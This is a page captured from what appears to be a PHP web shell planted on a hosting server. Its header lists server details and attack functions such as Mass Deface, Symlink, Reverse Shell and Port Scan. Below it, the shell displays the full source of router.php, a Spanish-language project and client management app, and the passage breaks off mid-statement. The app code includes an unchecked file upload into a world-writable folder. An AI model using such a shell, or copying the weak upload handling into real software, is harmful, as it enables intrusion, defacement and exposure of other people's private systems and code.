Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
emprendo.com.co
/
public_html
/
cyne5
/
Viewing: router.php
<?php require_once __DIR__ . '/config/database.php'; require_once __DIR__ . '/utils/session.php'; require_once __DIR__ . '/utils/helpers.php'; ini_set('upload_max_filesize', '128M'); ini_set('post_max_size', '128M'); ini_set('max_execution_time', '300'); function isJsonRequest() { if (!empty($_SERVER['HTTP_ACCEPT']) && stripos($_SERVER['HTTP_ACCEPT'], 'application/json') !== false) { return true; } if (!empty($_SERVER['CONTENT_TYPE']) && stripos($_SERVER['CONTENT_TYPE'], 'application/json') !== false) { return true; } return false; } function normalizeDateTimeInput(?string $value): ?string { if (!$value) { return null; } $value = trim($value); if ($value === '') { return null; } $formats = ['Y-m-d\TH:i', 'Y-m-d\TH:i:s', 'Y-m-d H:i', 'Y-m-d H:i:s']; foreach ($formats as $format) { $dt = DateTime::createFromFormat($format, $value); if ($dt instanceof DateTime) { return $dt->format('Y-m-d H:i:s'); } } $timestamp = strtotime($value); if ($timestamp !== false) { return date('Y-m-d H:i:s', $timestamp); } return null; } function enforceMethod($method, $forceJson = false) { $requestMethod = strtoupper($_SERVER['REQUEST_METHOD'] ?? ''); if ($requestMethod !== strtoupper($method)) { if ($forceJson || isJsonRequest()) { jsonResponse(['error' => 'Método no permitido'], 405); } else { http_response_code(405); } exit; } } function requireCsrfToken() { $token = $_POST['_token'] ?? $_SERVER['HTTP_X_CSRF_TOKEN'] ?? null; if (!SessionManager::validateCsrfToken($token)) { jsonResponse(['error' => 'Token CSRF inválido o expirado'], 419); } } function normalizeNotificationValue($value): string { if ($value === null) { return ''; } if (is_bool($value)) { return $value ? '1' : '0'; } if (is_string($value)) { return trim($value); } if (is_numeric($value)) { return (string)$value; } return trim((string)$value); } function valuesDifferForNotification($old, $new): bool { return normalizeNotificationValue($old) !== normalizeNotificationValue($new); } function formatNotificationValue($value): string { if ($value === null) { return 'Sin dato'; } if (is_bool($value)) { return $value ? 'Sí' : 'No'; } if (is_string($value)) { $trimmed = trim($value); if ($trimmed === '') { return 'Sin dato'; } return str_replace(["\r\n", "\n", "\r"], ' / ', $trimmed); } if (is_numeric($value)) { return (string)$value; } $stringValue = trim((string)$value); return $stringValue === '' ? 'Sin dato' : str_replace(["\r\n", "\n", "\r"], ' / ', $stringValue); } SessionManager::start(); SessionManager::regenerateIfNeeded(); require_once 'app/Controllers/UserController.php'; if (isset($_GET['action']) && $_GET['action'] === 'getUserJson') { enforceMethod('GET', true); ob_clean(); SessionManager::start(); $controller = new UserController($pdo); $profile = $controller->getAuthenticatedProfile(); if (!$profile) { jsonResponse(['error' => 'Sesión expirada'], 401); } jsonResponse($profile); exit; } require_once 'app/Controllers/ClientController.php'; require_once 'app/Controllers/ProductController.php'; require_once 'app/Controllers/ProjectController.php'; require_once 'app/Models/Accion.php'; require_once 'app/Models/Project.php'; require_once __DIR__ . '/app/Controllers/ContenidoController.php'; require_once 'app/Models/Chat.php'; $action = $_GET['action'] ?? 'index'; $publicActions = ['login', 'register']; $publicApiActions = [ 'getAcciones', 'getFacturaProyecto', 'getContenidos', 'getChat', 'sendChat', 'iniciarConversacion', 'marcarLeidosAdmin', 'guardarFirmaProyecto' ]; $token = $_GET['token'] ?? ($_POST['token'] ?? null); $clientePublicAuth = false; if (!in_array($action, $publicActions, true)) { if (in_array($action, $publicApiActions, true) && $token) { require_once __DIR__ . '/app/Models/Client.php'; $clientModelAuth = new Client($pdo); $clienteByToken = $clientModelAuth->findByToken($token); if ($clienteByToken) { $clientePublicAuth = true; $_GET['cliente_id'] = $_GET['cliente_id'] ?? $clienteByToken['id']; $_POST['cliente_id'] = $_POST['cliente_id'] ?? $clienteByToken['id']; } } if (!$clientePublicAuth) { SessionManager::requireAuthenticated(); } } $controller = new UserController($pdo); $productController = new ProductController($pdo); $clientController = new ClientController($pdo); $contenidoController = new ContenidoController($pdo); $chatModel = new Chat($pdo); switch($action) { case 'index': $controller->index(); break; case 'create': $controller->create(); break; case 'edit': $controller->edit(); break; case 'store': enforceMethod('POST'); $controller->store(); break; case 'update': enforceMethod('POST'); $controller->update(); break; case 'products': $productController->index(); break; case 'createProduct': enforceMethod('POST'); $productController->createProduct(); break; case 'updateProduct': enforceMethod('POST'); $productController->updateProduct(); break; case 'deleteProduct': enforceMethod('POST'); $productController = new ProductController($pdo); $productController->deleteProduct(); break; case 'deleteUser': enforceMethod('POST'); $controller->deleteUser(); break; case 'clients': $clientController->index(); break; case 'createClient': enforceMethod('POST'); $clientController->createClient(); break; case 'updateClient': enforceMethod('POST'); $clientController->updateClient(); break; case 'deleteClient': enforceMethod('POST'); $clientController->deleteClient(); break; case 'projects': $projectController = new ProjectController($pdo); $projectController->index(); break; case 'createProject': enforceMethod('POST'); $projectModel = new Project($pdo); $data = [ 'cliente_id' => $_POST['cliente_id'] ?? null, 'proyecto' => $_POST['proyecto'] ?? '', 'project_manager' => $_POST['project_manager'] ?? null, 'inicio' => $_POST['inicio'] ?? null, 'fin' => $_POST['fin'] ?: null, 'status' => $_POST['status'] ?? 'Negociacion', 'condiciones_contrato' => $_POST['condiciones_contrato'] ?? null ]; try { $projectId = $projectModel->create($data); if ($projectId) { $project = $projectModel->find($projectId); if ($project && !empty($project['cliente_id'])) { $chatModel = new Chat($pdo); $mensaje = "🚀 Se creó tu nuevo proyecto \"" . ($project['proyecto'] ?? 'Tu proyecto') . "\". Pronto estaremos trabajando en él."; $chatModel->enviarMensaje((int)$project['cliente_id'], 'soporte', $mensaje); } } } catch (Exception $e) { error_log('Error al crear proyecto: ' . $e->getMessage()); } header('Location: router.php?action=projects'); exit; break; case 'updateProject': enforceMethod('POST', true); header('Content-Type: application/json; charset=utf-8'); $projectModel = new Project($pdo); $data = $_POST; if (!isset($data['id'])) { echo json_encode(['success' => false, 'message' => 'ID de proyecto no proporcionado.']); exit; } $projectId = (int)$data['id']; $clienteId = isset($data['cliente_id']) ? (int)$data['cliente_id'] : null; $originalProject = $projectModel->find($projectId); if (!$originalProject) { echo json_encode(['success' => false, 'message' => 'Proyecto no encontrado.']); exit; } if (!$clienteId) { $clienteId = (int)($originalProject['cliente_id'] ?? 0); } $fieldsToCompare = [ 'cliente_id' => 'Cliente asignado', 'project_manager' => 'Project Manager', 'proyecto' => 'Nombre del proyecto', 'inicio' => 'Fecha de inicio', 'fin' => 'Fecha de fin', 'status' => 'Estado', 'condiciones_contrato' => 'Condiciones del contrato' ]; $changeLines = []; $estadoCambio = null; foreach ($fieldsToCompare as $field => $label) { $oldValue = $originalProject[$field] ?? null; $newValue = $data[$field] ?? null; if (!valuesDifferForNotification($oldValue, $newValue)) { continue; } if ($field === 'cliente_id') { $oldClient = $oldValue ? (new Client($pdo))->find($oldValue) : null; $newClient = $newValue ? (new Client($pdo))->find($newValue) : null; $changeLines[] = sprintf( '• %s: %s → %s', $label, formatNotificationValue($oldClient['nombre'] ?? $oldClient['razon_social'] ?? $oldValue), formatNotificationValue($newClient['nombre'] ?? $newClient['razon_social'] ?? $newValue) ); } elseif ($field === 'project_manager') { $userModel = new User($pdo); $oldManager = $oldValue ? $userModel->find($oldValue) : null; $newManager = $newValue ? $userModel->find($newValue) : null; $changeLines[] = sprintf( '• %s: %s → %s', $label, formatNotificationValue($oldManager['nombre'] ?? $oldValue), formatNotificationValue($newManager['nombre'] ?? $newValue) ); } elseif ($field === 'status') { $estadoCambio = [ 'anterior' => formatNotificationValue($oldValue), 'nuevo' => formatNotificationValue($newValue) ]; $changeLines[] = sprintf( '• %s: %s → %s', $label, $estadoCambio['anterior'], $estadoCambio['nuevo'] ); } elseif ($field === 'condiciones_contrato') { $changeLines[] = '• Condiciones del contrato actualizadas.'; } else { $changeLines[] = sprintf( '• %s: %s → %s', $label, formatNotificationValue($oldValue), formatNotificationValue($newValue) ); } } try { $success = $projectModel->update($data); if ($success) { if (!empty($changeLines) && $clienteId) { $chatModel = new Chat($pdo); $titulo = $data['proyecto'] ?? ($originalProject['proyecto'] ?? 'Tu proyecto'); $mensaje = "📁 Actualización en tu proyecto \"$titulo\":\n" . implode("\n", $changeLines); $chatModel->enviarMensaje($clienteId, 'soporte', $mensaje); } echo json_encode(['success' => true]); } else { echo json_encode(['success' => false, 'message' => 'Error al actualizar el proyecto en la base de datos.']); } } catch (Exception $e) { echo json_encode(['success' => false, 'message' => 'Excepción al actualizar proyecto: ' . $e->getMessage()]); } exit; break; case 'deleteProject': enforceMethod('POST'); $projectId = $_POST['id'] ?? null; if ($projectId) { $projectModel = new Project($pdo); $project = $projectModel->find($projectId); $clienteId = $project['cliente_id'] ?? null; $projectName = $project['proyecto'] ?? 'Tu proyecto'; try { $projectModel->delete($projectId); if ($clienteId) { $chatModel = new Chat($pdo); $mensaje = "🗑️ Tu proyecto \"$projectName\" ha sido eliminado. Si crees que es un error, contáctanos."; $chatModel->enviarMensaje((int)$clienteId, 'soporte', $mensaje); } } catch (Exception $e) { error_log('Error al eliminar proyecto: ' . $e->getMessage()); } } header('Location: router.php?action=projects'); exit; break; case 'addDetalle': enforceMethod('POST'); $projectModel = new Project($pdo); try { $projectModel->addDetalle($_POST); $project = $projectModel->find($_POST['proyecto_id'] ?? null); if ($project && !empty($project['cliente_id'])) { $chatModel = new Chat($pdo); $productoNombre = null; if (!empty($_POST['producto_id'])) { $stmt = $pdo->prepare('SELECT producto FROM productos WHERE id = ?'); $stmt->execute([$_POST['producto_id']]); $productoNombre = $stmt->fetchColumn(); } $lineas = []; if ($productoNombre) { $lineas[] = sprintf('• Producto: %s', formatNotificationValue($productoNombre)); } if (!empty($_POST['cantidad'])) { $lineas[] = sprintf('• Cantidad: %s', formatNotificationValue($_POST['cantidad'])); } if (!empty($_POST['precio'])) { $lineas[] = sprintf('• Precio: $%s', number_format((float)$_POST['precio'], 2)); } $mensaje = "➕ Se añadió un detalle a tu proyecto \"" . ($project['proyecto'] ?? 'Tu proyecto') . "\"."; if (!empty($lineas)) { $mensaje .= "\n" . implode("\n", $lineas); } $chatModel->enviarMensaje((int)$project['cliente_id'], 'soporte', $mensaje); } } catch (Exception $e) { error_log('Error al agregar detalle: ' . $e->getMessage()); } header('Location: router.php?action=projects&success=adddetalle'); exit; break; case 'deleteDetalle': enforceMethod('POST'); $detalleId = $_POST['id'] ?? null; $projectId = $_POST['proyecto_id'] ?? null; $detalleInfo = null; if ($detalleId) { $stmt = $pdo->prepare('SELECT d.*, p.producto FROM detalles d LEFT JOIN productos p ON d.producto_id = p.id WHERE d.id = ?'); $stmt->execute([$detalleId]); $detalleInfo = $stmt->fetch(PDO::FETCH_ASSOC); if (!$projectId && $detalleInfo) { $projectId = $detalleInfo['proyecto_id'] ?? null; } } $projectModel = new Project($pdo); try { $projectModel->deleteDetalle($detalleId); if ($projectId) { $project = $projectModel->find($projectId); if ($project && !empty($project['cliente_id'])) { $chatModel = new Chat($pdo); $mensaje = "➖ Se eliminó un detalle de tu proyecto \"" . ($project['proyecto'] ?? 'Tu proyecto') . "\"."; if ($detalleInfo) { $lineas = []; if (!empty($detalleInfo['producto'])) { $lineas[] = sprintf('• Producto: %s', formatNotificationValue($detalleInfo['producto'])); } if (!empty($detalleInfo['cantidad'])) { $lineas[] = sprintf('• Cantidad: %s', formatNotificationValue($detalleInfo['cantidad'])); } if (!empty($detalleInfo['precio'])) { $lineas[] = sprintf('• Precio: $%s', number_format((float)$detalleInfo['precio'], 2)); } if (!empty($lineas)) { $mensaje .= "\n" . implode("\n", $lineas); } } $chatModel->enviarMensaje((int)$project['cliente_id'], 'soporte', $mensaje); } } } catch (Exception $e) { error_log('Error al eliminar detalle: ' . $e->getMessage()); } header('Location: router.php?action=projects&success=deletedetalle'); exit; break; case 'getAcciones': header('Content-Type: application/json; charset=utf-8'); $accion = new Accion($pdo); $acciones = $accion->getAccionesByProyecto($_GET['proyecto_id']); echo json_encode($acciones); exit; break; case 'getAccion': header('Content-Type: application/json; charset=utf-8'); $accion = new Accion($pdo); $accion_data = $accion->getAccion($_GET['id']); echo json_encode($accion_data); exit; break; case 'saveAccion': enforceMethod('POST', true); header('Content-Type: application/json; charset=utf-8'); $accion = new Accion($pdo); $chatModel = new Chat($pdo); $projectModel = new Project($pdo); $responsable = $_POST['responsable_id'] ?? ''; $responsableTipo = null; $responsableId = null; if (strpos($responsable, '_') !== false) { [$responsableTipo, $responsableId] = explode('_', $responsable, 2); } $originalAccion = null; if (!empty($_POST['id'])) { try { $originalAccion = $accion->find((int)$_POST['id']); } catch (Exception $e) { $originalAccion = null; } } $data = [ 'id' => $_POST['id'] ?? null, 'accion' => trim($_POST['accion'] ?? ''), 'inicio' => normalizeDateTimeInput($_POST['inicio'] ?? null), 'fin' => normalizeDateTimeInput($_POST['fin'] ?? null), 'status' => $_POST['status'] ?? 'Pendiente', 'responsable_tipo' => $responsableTipo, 'responsable_id' => $responsableId, 'proyecto_id' => $_POST['proyecto_id'] ?? null, 'participantes' => $_POST['participantes'] ?? [], 'producto_id' => $_POST['producto_id'] ?? null, 'cantidad' => $_POST['cantidad'] ?? null ]; if (empty($data['accion']) || empty($data['inicio']) || empty($data['responsable_tipo']) || empty($data['responsable_id']) || empty($data['proyecto_id'])) { echo json_encode(['success' => false, 'message' => 'Datos de acción incompletos.']); exit; } try { $accion->saveAccion($data); $proyecto = $projectModel->find($data['proyecto_id']); $clienteId = $proyecto['cliente_id'] ?? null; if ($clienteId) { $tituloProyecto = $proyecto['proyecto'] ?? 'Tu proyecto'; $nombreAccion = $data['accion']; $inicio = $data['inicio'] ? formatNotificationValue(date('d/m/Y H:i', strtotime($data['inicio']))) : 'Sin definir'; $fin = $data['fin'] ? formatNotificationValue(date('d/m/Y H:i', strtotime($data['fin']))) : 'Sin definir'; if (empty($data['id']) || !$originalAccion) { $mensaje = "🗓️ Nueva acción programada en tu proyecto \"$tituloProyecto\":\n" . sprintf('• Acción: %s', formatNotificationValue($nombreAccion)) . "\n" . sprintf('• Inicio: %s', $inicio) . "\n" . sprintf('• Fin: %s', $fin) . "\n" . sprintf('• Estado: %s', formatNotificationValue($data['status'])); $chatModel->enviarMensaje((int)$clienteId, 'soporte', $mensaje); } else { $cambios = []; if (!valuesDifferForNotification($originalAccion['accion'] ?? null, $data['accion'])) { $nombreAccion = $originalAccion['accion']; } if (valuesDifferForNotification($originalAccion['accion'] ?? null, $data['accion'])) { $cambios[] = sprintf('• Acción: %s → %s', formatNotificationValue($originalAccion['accion'] ?? ''), formatNotificationValue($data['accion'])); } if (valuesDifferForNotification($originalAccion['inicio'] ?? null, $data['inicio'])) { $cambios[] = sprintf('• Inicio: %s → %s', formatNotificationValue($originalAccion['inicio'] ? date('d/m/Y H:i', strtotime($originalAccion['inicio'])) : ''), $inicio ); } if (valuesDifferForNotification($originalAccion['fin'] ?? null, $data['fin'])) { $cambios[] = sprintf('• Fin: %s → %s', formatNotificationValue($originalAccion['fin'] ? date('d/m/Y H:i', strtotime($originalAccion['fin'])) : ''), $fin ); } if (valuesDifferForNotification($originalAccion['status'] ?? null, $data['status'])) { $cambios[] = sprintf('• Estado: %s → %s', formatNotificationValue($originalAccion['status'] ?? ''), formatNotificationValue($data['status']) ); } if (!empty($cambios)) { $mensaje = "🛠️ Actualización en una acción de tu proyecto \"$tituloProyecto\":\n" . implode("\n", $cambios); $chatModel->enviarMensaje((int)$clienteId, 'soporte', $mensaje); } } } echo json_encode(['success' => true]); } catch (Exception $e) { echo json_encode(['success' => false, 'message' => $e->getMessage()]); } exit; break; case 'deleteAccion': enforceMethod('POST', true); header('Content-Type: application/json; charset=utf-8'); $accionModel = new Accion($pdo); $id = $_POST['id'] ?? null; if (!$id) { echo json_encode(['success' => false, 'message' => 'ID de acción no proporcionado']); exit; } $accionData = $accionModel->find($id); if (!$accionData) { echo json_encode(['success' => false, 'message' => 'Acción no encontrada']); exit; } $success = $accionModel->deleteAccion($id); if ($success) { $projectModel = new Project($pdo); $project = $projectModel->find($accionData['proyecto_id'] ?? null); if ($project && !empty($project['cliente_id'])) { $chatModel = new Chat($pdo); $tituloProyecto = $project['proyecto'] ?? 'Tu proyecto'; $inicio = $accionData['inicio'] ? formatNotificationValue(date('d/m/Y H:i', strtotime($accionData['inicio']))) : 'Sin dato'; $mensaje = "⚠️ Se eliminó una acción de tu proyecto \"$tituloProyecto\":\n" . sprintf('• Acción: %s', formatNotificationValue($accionData['accion'] ?? '')) . "\n" . sprintf('• Inicio: %s', $inicio); if (!empty($accionData['fin'])) { $mensaje .= "\n" . sprintf('• Fin: %s', formatNotificationValue(date('d/m/Y H:i', strtotime($accionData['fin'])))); } $chatModel->enviarMensaje((int)$project['cliente_id'], 'soporte', $mensaje); } } echo json_encode(['success' => $success]); exit; break; case 'getProjectDetails': header('Content-Type: application/json; charset=utf-8'); $projectModel = new Project($pdo); $proyecto_id = $_GET['proyecto_id'] ?? null; $details = ['detalles' => [], 'descuento_porcentaje' => 0, 'descuento_monto' => 0, 'total_proyecto' => 0]; if ($proyecto_id) { // Asumimos que getProjectDetails en el modelo Project // ya obtiene y estructura los detalles, descuento y total. $projectDetails = $projectModel->getProjectDetails($proyecto_id); if ($projectDetails) { // Asegurarnos de que 'detalles' sea un array incluso si no hay productos $details['detalles'] = $projectDetails['detalles'] ?? []; $details['descuento_porcentaje'] = $projectDetails['descuento_porcentaje'] ?? 0; $details['descuento_monto'] = $projectDetails['descuento_monto'] ?? 0; $details['total_proyecto'] = $projectDetails['total_proyecto'] ?? 0; // Asegurarnos de incluir el subtotal general calculado $details['subtotal_general'] = $projectDetails['subtotal_general'] ?? 0; } } echo json_encode($details); exit; break; case 'saveProjectDetalles': enforceMethod('POST', true); header('Content-Type: application/json; charset=utf-8'); if (isset($_SERVER['CONTENT_TYPE']) && stripos($_SERVER['CONTENT_TYPE'], 'application/json') !== false) { $json_data = file_get_contents('php://input'); $data = json_decode($json_data, true); if ($data === null) { echo json_encode(['success' => false, 'message' => 'Datos JSON inválidos.']); exit; } $proyecto_id = $data['proyecto_id'] ?? null; $detalles = $data['detalles'] ?? []; $descuento_porcentaje = $data['descuento_porcentaje'] ?? 0; $total_proyecto = $data['total_proyecto'] ?? 0; if ($proyecto_id === null) { echo json_encode(['success' => false, 'message' => 'ID de proyecto no proporcionado.']); exit; } $projectModel = new Project($pdo); try { // Llamar a un método en el modelo para guardar los detalles y actualizar el proyecto // Debes implementar saveProjectDetails en tu clase models/Project.php $success = $projectModel->saveProjectDetails($proyecto_id, $detalles, $descuento_porcentaje, $total_proyecto); if ($success) { $chatModel = new Chat($pdo); $projectInfo = $projectModel->find($proyecto_id); $clienteId = $projectInfo['cliente_id'] ?? null; if ($clienteId) { $subtotal = array_reduce($detalles, function($carry, $detalle) { $cantidad = $detalle['cantidad'] ?? 0; $precio = $detalle['precio_unitario'] ?? ($detalle['precio'] ?? 0); return $carry + ($cantidad * $precio); }, 0.0); $descuentoMonto = $subtotal * ($descuento_porcentaje / 100); $totalCalculado = $total_proyecto > 0 ? $total_proyecto : ($subtotal - $descuentoMonto); $mensaje = "📑 Facturación de tu proyecto actualizada:\n" . sprintf('• Subtotal: $%s', number_format($subtotal, 2)) . "\n" . sprintf('• Descuento: %s', $descuento_porcentaje > 0 ? number_format($descuento_porcentaje, 2) . '% (-$' . number_format($descuentoMonto, 2) . ')' : 'No aplica') . "\n" . sprintf('• Total: $%s', number_format($totalCalculado, 2)); $chatModel->enviarMensaje($clienteId, 'soporte', $mensaje); } echo json_encode(['success' => true]); } else { echo json_encode(['success' => false, 'message' => 'Error al guardar los detalles del proyecto en la base de datos.']); } } catch (Exception $e) { // Capturar cualquier excepción que ocurra en el modelo o aquí echo json_encode(['success' => false, 'message' => 'Excepción al guardar detalles: ' . $e->getMessage()]); } } else { // Si no es una solicitud POST con JSON, devolver un error echo json_encode(['success' => false, 'message' => 'Solicitud no válida. Se esperaba POST con Content-Type: application/json.']); } exit; break; case 'getPagosJson': $projectController = new ProjectController($pdo); $projectController->getPagosJson($_GET['proyecto_id'] ?? null); exit; break; case 'addPagoAjax': enforceMethod('POST', true); $projectController = new ProjectController($pdo); $data = $_POST; ob_start(); $projectController->addPagoAjax($data); $response = ob_get_clean(); $success = false; $parsed = json_decode($response, true); if (is_array($parsed)) { $success = !empty($parsed['success']); } if ($success && !empty($data['proyecto_id'])) { try { $projectModel = new Project($pdo); $project = $projectModel->find($data['proyecto_id']); if ($project && !empty($project['cliente_id'])) { $chatModel = new Chat($pdo); $monto = isset($data['monto']) ? number_format((float)$data['monto'], 2) : '0.00'; $mensaje = "💰 Se registró un nuevo pago para tu proyecto " . ($project['proyecto'] ?? '') . ":\n" . sprintf('• Fecha: %s', formatNotificationValue($data['fecha'] ?? date('Y-m-d'))) . "\n" . sprintf('• Monto: $%s', $monto); $chatModel->enviarMensaje($project['cliente_id'], 'soporte', $mensaje); } } catch (Throwable $e) { error_log('No se pudo enviar notificación de pago: ' . $e->getMessage()); } } if ($response !== '') { echo $response; } else { echo json_encode(['success' => $success]); } exit; break; case 'deletePagoAjax': enforceMethod('POST', true); $projectController = new ProjectController($pdo); $pago_id = $_POST['id'] ?? null; $project = null; $pagoData = null; if ($pago_id) { $payStmt = $pdo->prepare('SELECT * FROM pagos WHERE id = ?'); $payStmt->execute([$pago_id]); $pagoData = $payStmt->fetch(PDO::FETCH_ASSOC); if ($pagoData) { $projectModel = new Project($pdo); $project = $projectModel->find($pagoData['proyecto_id'] ?? null); } } ob_start(); $projectController->deletePagoAjax($pago_id); $deleteResponse = ob_get_clean(); if ($deleteResponse !== '') { echo $deleteResponse; } $parsedDelete = json_decode($deleteResponse, true); $deleteSuccess = is_array($parsedDelete) ? !empty($parsedDelete['success']) : false; if ($deleteSuccess && $project && !empty($project['cliente_id'])) { $chatModel = new Chat($pdo); $tituloProyecto = $project['proyecto'] ?? 'Tu proyecto'; $mensaje = "🗑️ Se eliminó un pago de tu proyecto \"$tituloProyecto\":\n" . sprintf('• Fecha: %s', formatNotificationValue($pagoData['fecha'] ?? '')) . "\n" . sprintf('• Monto eliminado: $%s', number_format((float)($pagoData['monto'] ?? 0), 2)); if (!empty($pagoData['descripcion'])) { $mensaje .= "\n" . sprintf('• Descripción: %s', formatNotificationValue($pagoData['descripcion'])); } $chatModel->enviarMensaje((int)$project['cliente_id'], 'soporte', $mensaje); } exit; exit; break; case 'getContenidos': echo json_encode($contenidoController->index($_GET['proyecto_id'])); exit; break; case 'addContenido': enforceMethod('POST', true); // Manejo de archivo y datos $archivoNombre = null; if (!empty($_FILES['archivo']['tmp_name'])) { $archivoNombre = uniqid('contenido_') . '_' . basename($_FILES['archivo']['name']); $destino = __DIR__ . '/uploads/contenidos/' . $archivoNombre; if (!is_dir(__DIR__ . '/uploads/contenidos/')) { mkdir(__DIR__ . '/uploads/contenidos/', 0777, true); } move_uploaded_file($_FILES['archivo']['tmp_name'], $destino); } $data = [ 'proyecto_id' => $_POST['proyecto_id'], 'contenido' => $_POST['contenido'], 'archivo' => $archivoNombre, 'url' => $_POST['url'] ?? null ]; $contenidoController->store($data); try { $projectModel = new Project($pdo); $project = $projectModel->find($data['proyecto_id']); if ($project && !empty($project['cliente_id'])) { $chatModel = new Chat($pdo); $tituloProyecto = $project['proyecto'] ?? 'Tu proyecto'; $detalles = []; $detalles[] = sprintf('• Contenido: %s', formatNotificationValue($data['contenido'] ?? '')); if (!empty($data['url'])) { $detalles[] = sprintf('• Enlace: %s', formatNotificationValue($data['url'])); } if (!empty($data['archivo'])) { $detalles[] = '• Archivo adjunto enviado.'; } $mensaje = "🆕 Se agregó un nuevo contenido a tu proyecto \"$tituloProyecto\":\n" . implode("\n", $detalles); $chatModel->enviarMensaje((int)$project['cliente_id'], 'soporte', $mensaje); } } catch (Throwable $e) { error_log('No se pudo notificar nuevo contenido: ' . $e->getMessage()); } echo json_encode(['success' => true]); exit; break; case 'deleteContenido': enforceMethod('POST', true); $contenidoId = $_POST['id'] ?? null; if (!$contenidoId) { echo json_encode(['success' => false, 'message' => 'ID de contenido no proporcionado']); exit; } $contenidoModel = new Contenido($pdo); $contenidoData = $contenidoModel->find($contenidoId); if (!$contenidoData) { echo json_encode(['success' => false, 'message' => 'Contenido no encontrado']); exit; } $deleteSuccess = (bool)$contenidoController->destroy($contenidoId); if ($deleteSuccess) { try { $projectModel = new Project($pdo); $project = $projectModel->find($contenidoData['proyecto_id'] ?? null); if ($project && !empty($project['cliente_id'])) { $chatModel = new Chat($pdo); $tituloProyecto = $project['proyecto'] ?? 'Tu proyecto'; $mensaje = "🗑️ Se eliminó un contenido de tu proyecto \"$tituloProyecto\":\n" . sprintf('• Contenido: %s', formatNotificationValue($contenidoData['contenido'] ?? '')); if (!empty($contenidoData['url'])) { $mensaje .= "\n" . sprintf('• Enlace: %s', formatNotificationValue($contenidoData['url'])); } if (!empty($contenidoData['archivo'])) { $mensaje .= "\n• Archivo adjunto eliminado."; } $chatModel->enviarMensaje((int)$project['cliente_id'], 'soporte', $mensaje); } } catch (Throwable $e) { error_log('No se pudo notificar eliminación de contenido: ' . $e->getMessage()); } } echo json_encode(['success' => $deleteSuccess]); exit; break; case 'changeAccionStatus': enforceMethod('POST', true); header('Content-Type: application/json; charset=utf-8'); $id = $_POST['id'] ?? null; $status = $_POST['status'] ?? null; if ($id && $status) { $accionModel = new Accion($pdo); $accionData = $accionModel->find($id); if (!$accionData) { echo json_encode(['success' => false, 'message' => 'Acción no encontrada']); exit; } if (($accionData['status'] ?? null) === $status) { echo json_encode(['success' => true, 'message' => 'Estado sin cambios']); exit; } $success = $accionModel->updateStatus($id, $status); if ($success) { $projectModel = new Project($pdo); $project = $projectModel->find($accionData['proyecto_id'] ?? null); if ($project && !empty($project['cliente_id'])) { $chatModel = new Chat($pdo); $tituloProyecto = $project['proyecto'] ?? 'Tu proyecto'; $accionNombre = $accionData['accion'] ?? 'Acción'; $nuevoEstado = formatNotificationValue($status); $mensaje = "🔁 Estado de la acción \"$accionNombre\" en tu proyecto \"$tituloProyecto\" actualizado:\n" . sprintf('• Antes: %s', formatNotificationValue($accionData['status'] ?? '')) . "\n" . sprintf('• Ahora: %s', $nuevoEstado); $chatModel->enviarMensaje((int)$project['cliente_id'], 'soporte', $mensaje); } } echo json_encode(['success' => $success]); } else { echo json_encode(['success' => false, 'message' => 'Datos incompletos']); } exit; break; case 'changeProjectStatus': enforceMethod('POST', true); header('Content-Type: application/json; charset=utf-8'); $id = $_POST['id'] ?? null; $status = $_POST['status'] ?? null; if ($id && $status) { $projectModel = new Project($pdo); try { $project = $projectModel->find($id); if (!$project) { echo json_encode(['success' => false, 'message' => 'Proyecto no encontrado']); exit; } $oldStatus = $project['status'] ?? null; if ($oldStatus === $status) { echo json_encode(['success' => true, 'message' => 'Estado sin cambios']); exit; } $stmt = $pdo->prepare('UPDATE proyectos SET status = ? WHERE id = ?'); $success = $stmt->execute([$status, $id]); if ($success && !empty($project['cliente_id'])) { $chatModel = new Chat($pdo); $titulo = $project['proyecto'] ?? 'Tu proyecto'; $mensaje = "📍 Estado de tu proyecto \"$titulo\" actualizado:\n" . sprintf('• Antes: %s', formatNotificationValue($oldStatus)) . "\n" . sprintf('• Ahora: %s', formatNotificationValue($status)); $chatModel->enviarMensaje((int)$project['cliente_id'], 'soporte', $mensaje); } echo json_encode(['success' => $success]); } catch (Exception $e) { echo json_encode(['success' => false, 'message' => $e->getMessage()]); } } else { echo json_encode(['success' => false, 'message' => 'Datos incompletos']); } exit; break; case 'getClientProjects': header('Content-Type: application/json; charset=utf-8'); SessionManager::start(); if (!isset($_SESSION['client_id'])) { echo json_encode(['success' => false, 'message' => 'Sesión expirada.']); exit; } $projectModel = new Project($pdo); $projects = $projectModel->getProjectsByClientId((int) $_SESSION['client_id']); echo json_encode(['success' => true, 'projects' => $projects]); exit; break; case 'getClientAcciones': header('Content-Type: application/json; charset=utf-8'); SessionManager::start(); if (!isset($_SESSION['client_id'])) { echo json_encode(['success' => false, 'message' => 'Sesión expirada.']); exit; } $projectId = $_GET['proyecto_id'] ?? null; if (!$projectId) { echo json_encode(['success' => false, 'message' => 'Proyecto no especificado.']); exit; } $projectModel = new Project($pdo); $project = $projectModel->find($projectId); if (!$project || (int)$project['cliente_id'] !== (int)$_SESSION['client_id']) { echo json_encode(['success' => false, 'message' => 'Acceso no autorizado.']); exit; } $accion = new Accion($pdo); echo json_encode(['success' => true, 'acciones' => $accion->getAccionesByProyecto($projectId)]); exit; break; case 'getClientFactura': header('Content-Type: application/json; charset=utf-8'); SessionManager::start(); if (!isset($_SESSION['client_id'])) { echo json_encode(['success' => false, 'message' => 'Sesión expirada.']); exit; } $proyecto_id = $_GET['proyecto_id'] ?? null; if (!$proyecto_id) { echo json_encode(['success' => false, 'message' => 'ID de proyecto no proporcionado.']); exit; } $projectModel = new Project($pdo); $proyecto = $projectModel->find($proyecto_id); if (!$proyecto || (int)$proyecto['cliente_id'] !== (int)$_SESSION['client_id']) { echo json_encode(['success' => false, 'message' => 'Acceso no autorizado.']); exit; } $clientModel = new Client($pdo); $userModel = new User($pdo); $cliente = $clientModel->find($proyecto['cliente_id']); $manager = $userModel->find($proyecto['project_manager']); $detalles = $projectModel->detalles($proyecto_id); $pagos = $projectModel->pagos($proyecto_id); $abonado = array_reduce($pagos, fn($sum, $p) => $sum + ($p['monto'] ?? 0), 0); $subtotal = 